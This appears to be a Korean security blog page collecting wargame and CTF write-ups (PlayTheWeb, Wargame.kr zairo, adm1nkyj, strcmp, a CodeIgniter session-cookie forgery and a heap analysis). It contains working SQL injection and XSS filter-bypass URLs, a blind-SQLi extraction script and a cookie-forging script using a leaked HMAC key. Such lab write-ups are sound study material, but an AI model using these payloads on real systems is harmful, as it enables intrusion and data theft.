'Write up/Wargame'에 해당되는 글 30건

반응형

1. sqli

간단한 sql injection, 인자는 pw 하나만 주어진다.

 

1.0 query

select select id from users where id='guest' and pw=('[user_input]')

 

1.1 stage 1

http://ptw.alonalab.kr/ctf/sql1.php?pw=%27) or id not like 0x6775657374%23

필터링 되는 부분이 존재하지 않으므로 아래와 비슷한 쿼리를 구성해 인풋을 구성하면 된다.

select select id from users where id='guest' and pw=('') or id not like 'guest'#')

 

1.2 stage 2

http://ptw.alonalab.kr/ctf/MXEoCtNmAk.php?pw=%27) || id not like 0x6775657374+--+

약간의 필터링이 존재하므로 이리저리 우회를 하면 되고 stage1에서 변한건 주석정도 밖에 없다.

select select id from users where id='guest' and pw=('') or id not like 'guest' -- ')

 

1.3 stage 3

http://ptw.alonalab.kr/ctf/cF8D1.php?pw=%27) || id not like 0x6775657374%23

stage2와 동일

 

1.4 final

http://ptw.alonalab.kr/ctf/AohZV.php?pw=%27)||id+lilikeke+0x61646D696E%26%26+true+--+

str_replace를 해서 필터링하므로 lilikeke => like와 같이 replace해서 우회되도록 만든다.

select select id from users where id='guest' and pw=('') or id lilikeke 'admin' -- ')

replaced ==> select select id from users where id='guest' and pw=('') or id like 'admin' -- ')

 

 

2. xss

간단한 xss, 인자는 answer를 통해서 받을 수 있고 잘 우회만 해주면 된다.

 

2.1 stage1

http://ptw.alonalab.kr/ctf/xss1.php?answer=%3Cscript%3Ealert(document.domain)%3C/script%3E

script가 공백으로 치환되므로 scrscriptipt를 사용하여 우회한다. 다만 여기서 "/" 도 공백치환이 되는데 이는 서버에서 urldecode를 한번더 하는것으로 보이므로 %252f와 같이 double url encoding을 해준다.

 

2.2 stage2

http://ptw.alonalab.kr/ctf/KcmPU.php?answer=%253cscrscriptipt%253ealert%2528document.domain%2529%253c%25%252f2fscrscriptipt%253e

stage1에서 사용한 double url encoding을 해주면 된다. 다만 "/"를 %252f로 우회했었지만 이를 공백으로 치환하므로 %25%252f2f와 같이 우회하면 된다.

 

2.3 stage3

http://ptw.alonalab.kr/ctf/PGfCS.php?answer=%25%253c3cscrscriptipt%25%253e3ealert%25%252828document.domain%25%252929%25%253c3c%25%252f2fscrscriptipt%25%253e3e

stage2에서 사용했던 방법들을 적당히 필터링 되는 문자에 적용해주면 된다.

%252f => ""

%25%252f2f => "/"

 

2.4 final

http://ptw.alonalab.kr/ctf/Ct0Rx.php?answer=%25%253c3cscrscriptipt%25%25%25%253e3e3e3ealert%25%25%25%2528282828document.domain%25%252929%25%253c3c%25%252f2fscrscriptipt%25%25%25%253e3e3e3e

stage3에서 사용했던 방법을 특정 문자에 대해서 몇 번만 더해주면 된다. (4번정도)

 

3. reversing

이 문제는.... 바이너리에 서버로 요청해야될 result가 base64 encode된 형태로 박혀있다.

UGxheVRoZVdlYg== => PlayTheWeb

http://ptw.alonalab.kr/ctf/reverse1.php?result=PlayTheWeb

요청해서 플래그를 확인하면 된다.

 

4. android

대충 코드를 까보면 루팅체크를 하는 등의 동적 디버깅을 힘들게 하는 작업을 했지만, 난독화가 아니라서 정적 분석하기 쉽다. apk decompile 툴을 써도 좋고 간단하게 디컴파일 결과를 확인하고 싶을 때 http://www.javadecompilers.com/apk 여기를 사용한다.

코드를 분석하다보면 sources/p004kr/alonalab/ptw_crackme/AES256Chiper.java 에서 iv, key가 드러나있고 aes-128/cbc를 사용하는 것을 볼 수 있다. 그리고 복호화해야될 문자열이 Keyverify.java에 존재하므로 아래와 같이 간단한 python 코드를 작성하면 된다.

from Crypto.Cipher import AES

BLOCK_SIZE = 16
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)
unpad = lambda s: s[:-ord(s[len(s) - 1:])]

key = "RvAq2$CyZ;x}bQdV@),28v[,Du3Q?Cjq".ljust(BLOCK_SIZE, "\x00")
iv = "".ljust(BLOCK_SIZE, "\x00")

aes = AES.new(key, AES.MODE_CBC, IV=iv)
enc = "Qk0wR3FQNEFjVjdBck0vK0pNUndUUT09".decode('base64').decode('base64')
print aes.decrypt(enc)

aes = AES.new(key, AES.MODE_CBC, IV=iv)
enc = "U2NKQWRsa0ZtQllpNlVQamZlOWgxQT09".decode('base64')
print aes.decrypt(enc)

 

5. network

pcap파일을 wireshark로 열어서 http패킷을 찾아보면, https://blog.alonalab.kr/27에 요청한 기록이 나오고 비밀번호가 걸려있다. 힌트로 PlayTheWeb이라고 했으니 게싱으로 비밀번호로 넣어봤더니 아래의 pastbin링크가 나오게 되었다.

https://pastebin.com/raw/bL8nQLHu

Hey! Guess the question! 

1. ????? is an application layer protocol that facilitates communication in the form of text. The chat process works on a client/server networking model.

2. Sub Domain?

Made By [alonalab.kr]

#bot

1번의 답은 irc protocol 이고 subdomain이 존재한다는 것을 2번이 암시하고 있다. irc.alonalab.kr에 ping을 날려 확인하고, irc client를 아무거나 받은 다음 #bot 채널에 입장해 @flag를 입력하면 봇이 플래그를 출력해준다.

'Write up > Wargame' 카테고리의 다른 글

LFH 문제 분석한 거  (0) 2016.12.13
[Wargame.kr] vulnerability  (0) 2016.10.02
[Wargame.kr] Admin 계정 탈취 인증샷  (0) 2016.10.02
[Wargame.kr] All Clear  (0) 2016.09.13
[Wargame.kr] zairo  (0) 2016.09.08
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

분석을 한 이틀 정도한거 같은데 어디서 취약점이 나오는지 전혀 모르겠다.


일단 동작순서부터 설명하도록 하겠다.



LFH 클래스에서 Bucket 이 있는데 이건 같은 사이즈의 Chunk들을 가지고 있는 집합이다.


이 버킷이 꽉 차있을 때 next bucket으로 이동해서 청크사이즈를 확인 후 같은 사이즈면서 꽉 차있지 않다면 할당을 해준다.


또 Bucket과 chunk address, next 포인터를 가진 META 구조체가 있는데 그냥 wrapper니까 별 다른건 없다



Bucket 생성자에서는 Bucket이 가지는 기준 memory를 mmap(RW, 0x4000 bytes)을 통해 생성한다.


처음에는 이걸 가지고 힙스프레이로 이용할 수 있을까 싶었지만 아래에서 RW 속성도 없는 guard page가 생성된다.


실제 메모리 영역들을 살펴보게 되면 아래와 같다.


 guard page

standard memeory


그리고 현재 사용중인 영역을 bitarray라는 변수(char *)를 total chunk만큼 할당해주고 Allocate할 때 bit연산으로 사용중임을 표시해준다.



여기까지가 분석인데, 별다른 건 없어보인다.


아마 


        while(p){

                p2 = p->next;

                p->fptr(p);             // typical destructor for objects.

                p = p2;

        }



이 부분에서 p->fptr(p); 이걸로 트리거링을 해야할 것 같다만.. 어떻게 변경하냐는 거다.


소스코드 분석을 더해보면 content_len만큼 할당해주고 is_unicode 가 true일 때 2배로 입력 받는걸 알 수 있다.


여기서 뭔가 발생할 것 같다만.. 전혀 아닌 것 같다.


막상 힙에서 덮어씌워질 게 없으니까 막막함...

'Write up > Wargame' 카테고리의 다른 글

[PlayTheWeb] writeup  (0) 2019.09.16
[Wargame.kr] vulnerability  (0) 2016.10.02
[Wargame.kr] Admin 계정 탈취 인증샷  (0) 2016.10.02
[Wargame.kr] All Clear  (0) 2016.09.13
[Wargame.kr] zairo  (0) 2016.09.08
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

wargame.kr에는 세션인증을 위한 쿠키값 저장에 대한 문제가 있다.


예를 들면 세션을 통해서 게시글을 쓴다던가, name 값을 통해서 어드민의 권한을 검사한다는 점인데,


이건 xss는 물론이고 sql injection까지 가능한 취약점이다.


왜 발생했다면, encryption_key가 노출돼서 자체적으로 인코딩해서 쿠키에 넣어줄 수 있다. (Object injection)


먼저 codeigniter의 session.php를 보자. 경로는 /system/libraries/Session.php 다.


아래의 함수들은 쿠키와 세션을 위한 함수의 코드다.

 

function set_userdata($newdata = array(), $newval = '')
{
	if (is_string($newdata))
	{
	$newdata = array($newdata => $newval);
	}

	if (count($newdata) > 0)
	{
		foreach ($newdata as $key => $val)
		{
			$this->userdata[$key] = $val;
		}
	}

	$this->sess_write();
}
function set_userdata($newdata = array(), $newval = '')
{
	if (is_string($newdata))
	{
		$newdata = array($newdata => $newval);
	}

	if (count($newdata) > 0)
	{
		foreach ($newdata as $key => $val)
		{	
			$this->userdata[$key] = $val;
		}
	}
	$this->sess_write();
}
function sess_write()
{
	// Are we saving custom data to the DB?  If not, all we do is update the cookie
	if ($this->sess_use_database === FALSE)
	{
		$this->_set_cookie();
		return;
	}

	// set the custom userdata, the session data we will set in a second
	$custom_userdata = $this->userdata;
	$cookie_userdata = array();

	// Before continuing, we need to determine if there is any custom data to deal with.
	// Let's determine this by removing the default indexes to see if there's anything left in the array
	// and set the session data while we're at it
	foreach (array('session_id','ip_address','user_agent','last_activity') as $val)
	{
		unset($custom_userdata[$val]);
		$cookie_userdata[$val] = $this->userdata[$val];
	}

	// Did we find any custom data?  If not, we turn the empty array into a string
	// since there's no reason to serialize and store an empty array in the DB
	if (count($custom_userdata) === 0)
	{
		$custom_userdata = '';
	}
	else
	{
		// Serialize the custom data array so we can store it
		$custom_userdata = $this->_serialize($custom_userdata);
	}

	// Run the update query
	$this->CI->db->where('session_id', $this->userdata['session_id']);
	$this->CI->db->update($this->sess_table_name, array('last_activity' => $this->userdata['last_activity'], 'user_data' => $custom_userdata));

	// Write the cookie.  Notice that we manually pass the cookie data array to the
	// _set_cookie() function. Normally that function will store $this->userdata, but
	// in this case that array contains custom data, which we do not want in the cookie.
	$this->_set_cookie($cookie_userdata);
}
function _set_cookie($cookie_data = NULL)
{
	if (is_null($cookie_data))
	{
		$cookie_data = $this->userdata;
	}

	// Serialize the userdata for the cookie
	$cookie_data = $this->_serialize($cookie_data);

	if ($this->sess_encrypt_cookie == TRUE)
	{
		$cookie_data = $this->CI->encrypt->encode($cookie_data);
	}

	// $this->encryption_key = Th1s1sEncrypt10nkey
	$cookie_data .= hash_hmac('sha1', $cookie_data, $this->encryption_key);

	$expire = ($this->sess_expire_on_close === TRUE) ? 0 : $this->sess_expiration + time();

	// Set the cookie

	setcookie(
		$this->sess_cookie_name,
		$cookie_data,
		$expire,
		$this->cookie_path,
		$this->cookie_domain,
		$this->cookie_secure
	);
}


호출 순서는 


set_userdata -> sess_write -> _set_cookie 순서고 설명이 필요할 듯하다.


먼저 set_userdata로 쿠키가 생성될 때 set_userdata함수에서 private영역의 userdata 변수에 데이터를 저장하고


sess_write함수를 호출해준다.


sess_write에서는 세션ID를 DB에 저장할 때와 아닐때로 나뉘는데 wargame.kr은 db에 따로 저장하지 않기때문에 바로 _set_cookie함수를 


호출해준다.


마지막의  _set_cookie함수는 $cookie_data에 데이터를 userdata를 넣어주고 serialize해준다.


sess_encrypt_cookie일 때 encode해주긴 하는데 false였기에 바로 넘어간다.


보다시피 쿠키값에다 sha1에 salt를 지정해줘서 해시화를 시키고 있으니 encryption_key의 값을 알 필요가 있는데,


config.php에 있으니까 참조하길 바란다.


그 다음에 쿠키 expire를 지정해주고 setcookie를 해준다.


여기까지는 아무 문제 없다고 생각은 하지만


정작 wargame.kr소스코드를 보게 되면


[ wargamekr_helper.php ]
function is_admin(){
	$admin_list = ['bughela'];
	$CI = &get_instance();
	if (!is_logged_in()) return false;
	if (!in_array($CI->session->userdata('name'), $admin_list)) return false;
	return true;
}

[ main_model.php ]
function chat($chat = ''){
	$chat = trim($chat);
	if ($chat == '') return false;
	if (!is_logged_in()) return false;

	$name = $this->session->userdata('name');
	$chat = [
		'name' => $name,
		'chat' => $chat,
		'reg_date' => date('Y-m-d H:i:s', time()),
		'reg_ip' => $this->input->ip_address()
	];

	$this->db->insert('chat_log', $chat);

	$result = $this->db
		->where('name', $name)
		->from('chat_log')
		->count_all_results();

	if ($result > 100){
		$this->load->model("achievement_model", "achievement");
		$this->achievement->take("chatterbox");
	}
}

[ board_model.php ]
function write($input){
	if (!is_logged_in()) return false;
	$data = [
		'title' => htmlspecialchars($input['title']),
		'secret' => $input['secret'],
		'contents' => htmlspecialchars($input['contents']),
		'writer' => $this->session->userdata('name'),
		'reg_date' => date('Y-m-d H:i:s', time()),
		'reg_ip' => $this->input->ip_address()
	];
	
	$result = $this->db->insert('board', $data);
	$name = $this->session->userdata('name');
	$result = $this->db
	->where('writer', $name)
	->from('board')
	->count_all_results();
	
	if ($result == 10) {
		$this->achievement->take("BBS mania");
	}
}

[ board_model.php ]
function write_reply($contents, $idx = 0){
	if (!is_logged_in()) return false;
	$contents = trim($contents);
	if ($contents == "") return false;

	$idx = intval($idx);
	$result = $this->db
		->select('idx')
		->where('secret', 0)
		->or_where('writer', $this->session->userdata('name'))
		->where('idx', $idx)
		->get('board');
	if ($result->row()->idx != 1) return false;
	
	$data = [
		'contents' => htmlspecialchars($contents),
		'pidx' => $idx,
		'writer' => $this->session->userdata('name'),
		'reg_date' => date("Y-m-d H:i:s"),
		'reg_ip' => $this->input->ip_address()
	];
	
	$this->db->insert('board_reply', $data);
	$name = $this->session->userdata('name');
	
	$result = $this->db
		->where('writer', $name)
		->from('board_reply')
		->count_all_results();
	if ($result == 50) {
		//$this->achievement->take($name, "");
	}
}


등등의 함수들에서 xss 및 sql injection이 성공한다.


아래는 쿠키값의 조작을 위해 직접 만든 소스코드다.


$arr = array(
	"session_id" => md5("hoho"),
	"ip_address" => "127.0.0.1",
	"user_agent" => "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",
	"last_activity" => time(),
	"user_data" => null,
	"name" => "KuroNeko",
	"email" => "nyanpasu@naver.com",
	"lang" => "kor",
	"achievement" => "sewer brew",
	"point" => 99999
);

$ser_arr = serialize($arr);

$encryption_key = "Th1s1sEncrypt10nkey";
$ser_arr .= hash_hmac('sha1', $ser_arr, $encryption_key);

echo urlencode($ser_arr);


아 물론 지금은 키값이 패치된 상태라 이 소스를 써도 안된다.

'Write up > Wargame' 카테고리의 다른 글

[PlayTheWeb] writeup  (0) 2019.09.16
LFH 문제 분석한 거  (0) 2016.12.13
[Wargame.kr] Admin 계정 탈취 인증샷  (0) 2016.10.02
[Wargame.kr] All Clear  (0) 2016.09.13
[Wargame.kr] zairo  (0) 2016.09.08
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

꺄르륵


'Write up > Wargame' 카테고리의 다른 글

LFH 문제 분석한 거  (0) 2016.12.13
[Wargame.kr] vulnerability  (0) 2016.10.02
[Wargame.kr] All Clear  (0) 2016.09.13
[Wargame.kr] zairo  (0) 2016.09.08
[Wargame.kr] adm1nkyj  (0) 2016.09.08
블로그 이미지

KuroNeko_

KuroNeko

,
반응형


'Write up > Wargame' 카테고리의 다른 글

[Wargame.kr] vulnerability  (0) 2016.10.02
[Wargame.kr] Admin 계정 탈취 인증샷  (0) 2016.10.02
[Wargame.kr] zairo  (0) 2016.09.08
[Wargame.kr] adm1nkyj  (0) 2016.09.08
[Wargame.kr] strcmp (550p)  (0) 2016.04.29
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

<?php
    error_reporting
(0);
    
    include(
"./config.php"); // hidden column name
    
include("../lib.php"); // auth_code function

    
mysql_connect("localhost","zairo","zairo_pz");
    
mysql_select_db("zairo");

    
/**********************************************************************************************************************/

    
function rand_string()
    {
        
$string "1234567890abcdefghijklmnopqrstuvwxyz";
        return 
str_shuffle($string);
    }

    function 
reset_flag($count_column$flag_column)
    {
        global 
$count;
        
$flag rand_string();
        
$query mysql_fetch_array(mysql_query("SELECT $count_column$flag_column FROM findflag_2"));
        
$count $query[$count_column];
        if(
$query[$count_column] == 150)
        {
            if(
mysql_query("UPDATE findflag_2 SET $flag_column='{$flag}';"))
            {
                
mysql_query("UPDATE findflag_2 SET $count_column=0;");
                echo 
"reset flag<hr>";
            }
            return 
$flag;
        }
        else
        {
            
mysql_query("UPDATE findflag_2 SET $count_column=($query[$count_column] + 1);");
        }
        return 
$query[$flag_column];
    }

    function 
get_pw($pw_column){
        
$query mysql_fetch_array(mysql_query("select $pw_column from findflag_2 limit 1"));
        return 
$query[$pw_column];
    }

    
/**********************************************************************************************************************/

    
$tmp_flag "";
    
$tmp_pw "";
    
$id $_GET['id'];
    
$pw $_GET['pw'];
    
$flags $_GET['flag'];
    
$count 0;
    if(isset(
$id))
    {
        if(
preg_match("/information|schema|user|where|=/i"$id) || substr_count($id,"(") > 0) exit("no hack");
        if(
preg_match("/information|schema|user|where|=/i"$pw) || substr_count($pw,"(") > 0) exit("no hack");
        
$tmp_flag reset_flag($count_column$flag_column);
        
$tmp_pw get_pw($pw_column);
        
$query mysql_fetch_array(mysql_query("SELECT * FROM findflag_2 WHERE $id_column='{$id}' and $pw_column='{$pw}';"));
        echo 
"<hr />NOW COUNT = {$count}<br />";
        if(
$query[$id_column])
        {
            if(isset(
$pw) && isset($flags) && $pw === $tmp_pw && $flags === $tmp_flag)
            {
                echo 
"good job!!<br />FLAG : <b>".auth_code("zairo")."</b><hr>";
            }
            else
            {
                echo 
"Hello ".$query[$id_column]."<hr>";
            }
        }
    }else {
        
highlight_file(__FILE__);
    }
?>


음.. 그렇다 adm1nkyj문제에서 가상테이블을 못만들도록 (를 필터링해준다.


여기서 어떻게 해야하는지 몰라서 질문글을 올렸는데 order by 와 이진탐색을 사용해서 blind sqli을 하라고 한다.


그래서 했다. ㄹㅇ 


order by는 컬럼에 대해서 정렬할 수 있도록 컬럼 인덱스(?)를 통해 가능하도록 한다.


예를 들면 order by 2 이런식이다. 이건 두번째 컬럼에 대해서 정렬하라는 말이다.


그러면 여기서 blind sqli를 어떻게 하냐는 건데 간단하다.


문자열 비교를 하면 되는 건데 order by로 정렬하면 내가 union으로 넣은 값이 먼저 작으면 먼저 나오게 되니까


zairo문제의 아이디가 나올 때의 문자열로 받아들이면 된다.


payload는 아래와 같이 짰다.



import urllib2 url = "http://wargame.kr:8080/zairo/?id=asdf&pw=%27%20or%20true%20union%20select%201,2,3,%27" query_parts = "%27,5%20order%20by%204%23" flag = "" avail = "0123456789abcdefghijklmnopqrstuvwxyz" for i in range(36): print i + 1, " Attempt" mid = len(avail) / 2 start = 0 end = len(avail) - 1 while start <= end and start >= 0 and end >= 0 and mid >= 0: req = urllib2.Request(url + flag + avail[mid] + query_parts) req.add_header("cookie", "[Cookie]") source = urllib2.urlopen(req).read() if source.find("reset flag") != -1: print flag i = 37 break if source.find("zairowkdlfhdkel") != -1: end = mid - 1 mid = (start + end) / 2 else: start = mid + 1 mid = (start + end) / 2 flag += avail[mid] avail = avail.replace(avail[mid], "") print avail print flag


'Write up > Wargame' 카테고리의 다른 글

[Wargame.kr] Admin 계정 탈취 인증샷  (0) 2016.10.02
[Wargame.kr] All Clear  (0) 2016.09.13
[Wargame.kr] adm1nkyj  (0) 2016.09.08
[Wargame.kr] strcmp (550p)  (0) 2016.04.29
[Wargame.kr] Easy_CrackMe (500p)  (0) 2016.04.29
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

adm1nkyj (ㄱㅇㅈ) 님이 만드신 문젠데 어휴 어려웠다 ㄹㅇ


이 문제의 소스를 보자.


<?php
    error_reporting
(0);
    
    include(
"./config.php"); // hidden column name
    
include("../lib.php"); // auth_code function

    
mysql_connect("localhost","adm1nkyj","adm1nkyj_pz");
    
mysql_select_db("adm1nkyj");

    
/**********************************************************************************************************************/

    
function rand_string()
    {
        
$string "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijklmnopqrstuvwxyz";
        return 
str_shuffle($string);
    }

    function 
reset_flag($count_column$flag_column)
    {
        
$flag rand_string();
        
$query mysql_fetch_array(mysql_query("SELECT $count_column$flag_column FROM findflag_2"));
        if(
$query[$count_column] == 150)
        {
            if(
mysql_query("UPDATE findflag_2 SET $flag_column='{$flag}';"))
            {
                
mysql_query("UPDATE findflag_2 SET $count_column=0;");
                echo 
"reset flag<hr>";
            }
            return 
$flag;
        }
        else
        {
            
mysql_query("UPDATE findflag_2 SET $count_column=($query[$count_column] + 1);");
        }
        return 
$query[$flag_column];
    }

    function 
get_pw($pw_column){
        
$query mysql_fetch_array(mysql_query("select $pw_column from findflag_2 limit 1"));
        return 
$query[$pw_column];
    }

    
/**********************************************************************************************************************/

    
$tmp_flag "";
    
$tmp_pw "";
    
$id $_GET['id'];
    
$pw $_GET['pw'];
    
$flags $_GET['flag'];
    if(isset(
$id))
    {
        if(
preg_match("/information|schema|user/i"$id) || substr_count($id,"(") > 1) exit("no hack");
        if(
preg_match("/information|schema|user/i"$pw) || substr_count($pw,"(") > 1) exit("no hack");
        
$tmp_flag reset_flag($count_column$flag_column);
        
$tmp_pw get_pw($pw_column);
        
$query mysql_fetch_array(mysql_query("SELECT * FROM findflag_2 WHERE $id_column='{$id}' and $pw_column='{$pw}';"));
        if(
$query[$id_column])
        {
            if(isset(
$pw) && isset($flags) && $pw === $tmp_pw && $flags === $tmp_flag)
            {
                echo 
"good job!!<br />FLAG : <b>".auth_code("adm1nkyj")."</b><hr>";
            }
            else
            {
                echo 
"Hello ".$query[$id_column]."<hr>";
            }
        }
    } else {
        
highlight_file(__FILE__);
    }
?>


보면 union 인젝션은 막혀있지 않다. 이걸 이용해서 인젝션을 해야한다고 추측을 했었다.


근데 기존의 union 인젝션은 컬럼명을 알아야지 데이터를 뽑아올 수 있었는데,


이 생각을 깨게 만들어준 문제기도 하다. 해결방법은 아래와 같다


mysql에는 서브쿼리라는 게 존재하고 from에다가 서브쿼리를 써주면 가상테이블이 생성된다.


가상테이블에서 이리저리 굴려서 alias를 해주면 아래와 같은 페이로드가 나오게 된다.


pw=' union select 1,b,3,4,5 from (select 1,2,3,4 b,5 from findflag_2 where 1=2 union select * from findflag_2)x%23


from쪽에 서브쿼리르 써주면 가상테이블의 컬럼명을 alias화 시킬 수 있으며


이 가상테이블을 alias해주고 최종적으로 union에서 뽑아준다. 이값은 플래그 값이고


패스워드는 id에다가 이리저리 굴려서 확인할 수 있으니 해보면 된다.

'Write up > Wargame' 카테고리의 다른 글

[Wargame.kr] All Clear  (0) 2016.09.13
[Wargame.kr] zairo  (0) 2016.09.08
[Wargame.kr] strcmp (550p)  (0) 2016.04.29
[Wargame.kr] Easy_CrackMe (500p)  (0) 2016.04.29
[Wargame.kr] md5 password  (0) 2016.04.29
블로그 이미지

KuroNeko_

KuroNeko

,
반응형

php에서 strcmp는 인자로 배열을 넘기게 되면 null을 리턴하게 되는데,


== 같이 규약이 별로 없는 비교문을 사용하게 되면 null 과 0을 동일시하게 보기 때문에


참이되어 FLAG가 뜬다.


'Write up > Wargame' 카테고리의 다른 글

[Wargame.kr] zairo  (0) 2016.09.08
[Wargame.kr] adm1nkyj  (0) 2016.09.08
[Wargame.kr] Easy_CrackMe (500p)  (0) 2016.04.29
[Wargame.kr] md5 password  (0) 2016.04.29
[Wargame.kr] md5 compare (500p)  (0) 2016.04.29
블로그 이미지

KuroNeko_

KuroNeko

,